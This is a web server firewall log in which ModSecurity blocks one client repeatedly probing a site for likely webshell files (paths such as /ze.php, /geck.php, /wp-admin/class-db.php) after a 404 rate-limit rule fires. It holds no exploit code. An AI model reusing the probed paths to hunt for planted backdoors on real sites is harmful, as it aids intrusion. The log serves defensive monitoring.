[Sat Feb 07 09:21:59.723603 2026] [:error] [pid 50780:tid 50797] [client 74.248.113.199:9237] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aYaTt-tUmIu2JHM2CrvmZAAAAM8"]
[Sat Feb 07 09:22:00.361647 2026] [:error] [pid 55157:tid 55181] [client 74.248.113.199:41371] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aYaTuH36JdtTn2bTEowzcwAAARM"]
[Sat Feb 07 09:22:01.089838 2026] [:error] [pid 43182:tid 43187] [client 74.248.113.199:38500] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aYaTufEC82JnxmrnFYkY-QAAAUM"]
[Sat Feb 07 09:22:01.724437 2026] [:error] [pid 55157:tid 55184] [client 74.248.113.199:42560] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aYaTuX36JdtTn2bTEowzeAAAARY"]
[Sat Feb 07 09:22:02.262842 2026] [:error] [pid 43182:tid 43194] [client 74.248.113.199:37048] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/x/"] [unique_id "aYaTuvEC82JnxmrnFYkY_gAAAUo"]
[Sat Feb 07 09:22:03.177436 2026] [:error] [pid 43182:tid 43197] [client 74.248.113.199:5230] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/x/"] [unique_id "aYaTu_EC82JnxmrnFYkZAgAAAU0"]
[Sat Feb 07 09:22:04.208679 2026] [:error] [pid 55157:tid 55164] [client 74.248.113.199:45967] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/x/"] [unique_id "aYaTvH36JdtTn2bTEowzfAAAAQI"]
[Sat Feb 07 09:22:05.089310 2026] [:error] [pid 50673:tid 50750] [client 74.248.113.199:46283] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/WordPress/x/"] [unique_id "aYaTvWVwLsaZ7aKO2ck8WgAAAI8"]
[Sat Feb 07 09:22:05.663783 2026] [:error] [pid 43182:tid 43204] [client 74.248.113.199:36436] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aYaTvfEC82JnxmrnFYkZBwAAAVQ"]
[Sat Feb 07 09:22:06.382655 2026] [:error] [pid 43182:tid 43194] [client 74.248.113.199:38482] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aYaTvvEC82JnxmrnFYkZCQAAAUo"]
[Sat Feb 07 09:22:06.960479 2026] [:error] [pid 55157:tid 55170] [client 74.248.113.199:42623] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aYaTvn36JdtTn2bTEowzgAAAAQg"]
[Sat Feb 07 09:22:07.697016 2026] [:error] [pid 43182:tid 43198] [client 74.248.113.199:42153] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aYaTv_EC82JnxmrnFYkZDQAAAU4"]
[Sat Feb 07 09:22:08.635506 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:46341] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aYaTwPEC82JnxmrnFYkZEQAAAUY"]
[Sat Feb 07 09:22:09.819068 2026] [:error] [pid 43182:tid 43205] [client 74.248.113.199:46380] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aYaTwfEC82JnxmrnFYkZFgAAAVU"]
[Sat Feb 07 09:22:10.811610 2026] [:error] [pid 43182:tid 43188] [client 74.248.113.199:36430] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aYaTwvEC82JnxmrnFYkZGAAAAUQ"]
[Sat Feb 07 09:22:11.648818 2026] [:error] [pid 55157:tid 55180] [client 74.248.113.199:46319] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aYaTw336JdtTn2bTEowzhgAAARI"]
[Sat Feb 07 09:22:12.161707 2026] [:error] [pid 50671:tid 50684] [client 74.248.113.199:5234] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aYaTxLvqLohWBI_mqBMergAAAAQ"]
[Sat Feb 07 09:22:12.835842 2026] [:error] [pid 55157:tid 55172] [client 74.248.113.199:36208] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aYaTxH36JdtTn2bTEowziwAAAQo"]
[Sat Feb 07 09:22:13.444351 2026] [:error] [pid 50672:tid 50721] [client 74.248.113.199:38983] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aYaTxQ9o0jq1XS8Nv7O-TAAAAE0"]
[Sat Feb 07 09:22:13.995750 2026] [:error] [pid 50673:tid 50745] [client 74.248.113.199:37566] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aYaTxWVwLsaZ7aKO2ck8XwAAAIo"]
[Sat Feb 07 09:22:14.528029 2026] [:error] [pid 50671:tid 50681] [client 74.248.113.199:41814] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYaTxrvqLohWBI_mqBMesAAAAAE"]
[Sat Feb 07 09:22:15.243445 2026] [:error] [pid 50671:tid 50687] [client 74.248.113.199:37287] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYaTx7vqLohWBI_mqBMesgAAAAc"]
[Sat Feb 07 09:22:16.327473 2026] [:error] [pid 43182:tid 43200] [client 74.248.113.199:41852] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYaTyPEC82JnxmrnFYkZIAAAAVA"]
[Sat Feb 07 09:22:16.953239 2026] [:error] [pid 50672:tid 50719] [client 74.248.113.199:39264] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYaTyA9o0jq1XS8Nv7O-VwAAAEs"]
[Sat Feb 07 09:22:17.728003 2026] [:error] [pid 50780:tid 50794] [client 74.248.113.199:37280] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaTyetUmIu2JHM2CrvmaQAAAMw"]
[Sat Feb 07 09:22:18.485759 2026] [:error] [pid 55157:tid 55163] [client 74.248.113.199:41793] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaTyn36JdtTn2bTEowzlgAAAQE"]
[Sat Feb 07 09:22:19.145295 2026] [:error] [pid 43182:tid 43188] [client 74.248.113.199:37168] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaTy_EC82JnxmrnFYkZJQAAAUQ"]
[Sat Feb 07 09:22:21.338835 2026] [:error] [pid 50672:tid 50712] [client 74.248.113.199:37741] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaTzQ9o0jq1XS8Nv7O-XwAAAEQ"]
[Sat Feb 07 09:22:21.958968 2026] [:error] [pid 50780:tid 50796] [client 74.248.113.199:34548] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYaTzetUmIu2JHM2CrvmcAAAAM4"]
[Sat Feb 07 09:22:22.704693 2026] [:error] [pid 50671:tid 50692] [client 74.248.113.199:40065] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYaTzrvqLohWBI_mqBMevQAAAAw"]
[Sat Feb 07 09:22:23.546505 2026] [:error] [pid 50671:tid 50684] [client 74.248.113.199:38791] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYaTz7vqLohWBI_mqBMevgAAAAQ"]
[Sat Feb 07 09:22:24.231939 2026] [:error] [pid 50672:tid 50722] [client 74.248.113.199:40100] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aYaT0A9o0jq1XS8Nv7O-ZgAAAE4"]
[Sat Feb 07 09:22:24.842527 2026] [:error] [pid 50671:tid 50687] [client 74.248.113.199:6040] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aYaT0LvqLohWBI_mqBMewAAAAAc"]
[Sat Feb 07 09:22:25.735164 2026] [:error] [pid 43182:tid 43197] [client 74.248.113.199:40117] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aYaT0fEC82JnxmrnFYkZLwAAAU0"]
[Sat Feb 07 09:22:26.601631 2026] [:error] [pid 50673:tid 50744] [client 74.248.113.199:41888] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aYaT0mVwLsaZ7aKO2ck8agAAAIk"]
[Sat Feb 07 09:22:28.215597 2026] [:error] [pid 50780:tid 50805] [client 74.248.113.199:34462] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aYaT1OtUmIu2JHM2CrvmdgAAANc"]
[Sat Feb 07 09:22:29.234602 2026] [:error] [pid 50780:tid 50784] [client 74.248.113.199:39939] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aYaT1etUmIu2JHM2CrvmeAAAAMI"]
[Sat Feb 07 09:22:30.036659 2026] [:error] [pid 50780:tid 50801] [client 74.248.113.199:36616] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aYaT1utUmIu2JHM2CrvmegAAANM"]
[Sat Feb 07 09:22:30.612628 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:39958] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aYaT1vEC82JnxmrnFYkZNAAAAUY"]
[Sat Feb 07 09:22:31.145943 2026] [:error] [pid 50671:tid 50692] [client 74.248.113.199:38004] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aYaT17vqLohWBI_mqBMeyQAAAAw"]
[Sat Feb 07 09:22:31.750229 2026] [:error] [pid 55157:tid 55165] [client 74.248.113.199:45616] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aYaT1336JdtTn2bTEowzqAAAAQM"]
[Sat Feb 07 09:22:32.543674 2026] [:error] [pid 50673:tid 50755] [client 74.248.113.199:38944] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aYaT2GVwLsaZ7aKO2ck8bwAAAJQ"]
[Sat Feb 07 09:22:33.249931 2026] [:error] [pid 50780:tid 50800] [client 74.248.113.199:34603] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aYaT2etUmIu2JHM2CrvmfQAAANI"]
[Sat Feb 07 09:22:33.875679 2026] [:error] [pid 50673:tid 50748] [client 74.248.113.199:43809] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aYaT2WVwLsaZ7aKO2ck8cQAAAI0"]
[Sat Feb 07 09:22:34.687366 2026] [:error] [pid 43182:tid 43201] [client 74.248.113.199:38955] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/class-db.php"] [unique_id "aYaT2vEC82JnxmrnFYkZOAAAAVE"]
[Sat Feb 07 09:22:35.552782 2026] [:error] [pid 43182:tid 43197] [client 74.248.113.199:37971] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/class-db.php"] [unique_id "aYaT2_EC82JnxmrnFYkZOgAAAU0"]
[Sat Feb 07 09:22:36.155003 2026] [:error] [pid 50671:tid 50697] [client 74.248.113.199:34479] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/class-db.php"] [unique_id "aYaT3LvqLohWBI_mqBMe0wAAABE"]
[Sat Feb 07 09:22:36.732803 2026] [:error] [pid 43182:tid 43207] [client 74.248.113.199:44450] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/class-db.php"] [unique_id "aYaT3PEC82JnxmrnFYkZPwAAAVc"]
[Sat Feb 07 09:22:37.386559 2026] [:error] [pid 50672:tid 50724] [client 74.248.113.199:34494] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cool.php"] [unique_id "aYaT3Q9o0jq1XS8Nv7O-cAAAAFA"]
[Sat Feb 07 09:22:38.305645 2026] [:error] [pid 50671:tid 50683] [client 74.248.113.199:37366] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cool.php"] [unique_id "aYaT3rvqLohWBI_mqBMe2QAAAAM"]
[Sat Feb 07 09:22:38.962843 2026] [:error] [pid 50673:tid 50743] [client 74.248.113.199:5732] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cool.php"] [unique_id "aYaT3mVwLsaZ7aKO2ck8dgAAAIg"]
[Sat Feb 07 09:22:39.875324 2026] [:error] [pid 43182:tid 43200] [client 74.248.113.199:39839] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cool.php"] [unique_id "aYaT3_EC82JnxmrnFYkZRgAAAVA"]
[Sat Feb 07 09:22:40.588697 2026] [:error] [pid 50673:tid 50738] [client 74.248.113.199:7174] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gm.php"] [unique_id "aYaT4GVwLsaZ7aKO2ck8eAAAAIM"]
[Sat Feb 07 09:22:41.452191 2026] [:error] [pid 55157:tid 55164] [client 74.248.113.199:30029] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gm.php"] [unique_id "aYaT4X36JdtTn2bTEowztQAAAQI"]
[Sat Feb 07 09:22:42.132365 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:37195] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gm.php"] [unique_id "aYaT4vEC82JnxmrnFYkZTQAAAUY"]
[Sat Feb 07 09:22:42.750978 2026] [:error] [pid 50673:tid 50756] [client 74.248.113.199:35934] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gm.php"] [unique_id "aYaT4mVwLsaZ7aKO2ck8egAAAJU"]
